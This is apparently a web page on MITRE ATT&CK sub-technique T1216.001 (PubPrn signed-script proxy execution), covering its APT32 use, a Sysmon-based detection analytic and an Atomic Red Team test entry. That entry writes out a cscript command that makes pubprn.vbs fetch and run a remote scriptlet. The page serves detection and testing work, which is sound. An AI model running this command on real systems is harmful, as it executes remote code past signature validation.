tfMITRE ATT&CK sub-technique

PubPrn T1216.001

sub-technique of T1216 System Script Proxy Execution

Tactic: Stealth
Platform: Windows
Version: 3.0
Created: 03 February 2020
Last modified: 12 May 2026
Contributor: Atul Nair, Qualys

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malwareNone recorded

Tools & malwareNone recorded · 29% of ATT&CK techniques have none either.

Detection rules50th pct

Detection rules50th percentile · 50% of ATT&CK techniques have more detection rules written.

PubPrn MITRE reference T1216.001

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

APT32G0050 ↗

Has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.1

created 2017-12-141 referenceaka SeaLotus

All 1 groups for this technique

Offense vs defense T1216.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 2Splunk ESCU (cumulative) · 0

first rule: 2022 Q2

PubPrn detection strategy DET0528

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detecting Remote Script Proxy Execution via PubPrn.vbs

Enterprise

1 platform

AN1464 · Windows

Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Command ExecutionDC0064	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandLineRegex	Detects 'script:' moniker with HTTP/HTTPS URI as argument to pubprn.vbs
ParentProcessName	May vary between cscript.exe, wscript.exe, or cmd.exe depending on execution method
NetworkDestinationDomain	Used to detect external domains being contacted for remote scriptlet execution
TimeWindow	Maximum allowed time delta between pubprn.vbs invocation and network connection or child process

Tests1Executorscmd 1Need elevation0 of 1Have prerequisites0Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

PubPrn.vbs Signed Script Bypass

windows

cmd

—

Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.

Input arguments

Name	Type	Default	Description
remote_payload	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct	A remote payload to execute using PubPrn.vbs.

Attack command

cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"

GUID26310103-9fde-476c-8e77-7110e4a3daa0

Tests from Atomic Red Team (MIT licence) · technique definition

PubPrn detections T1216.001

2 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

50th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs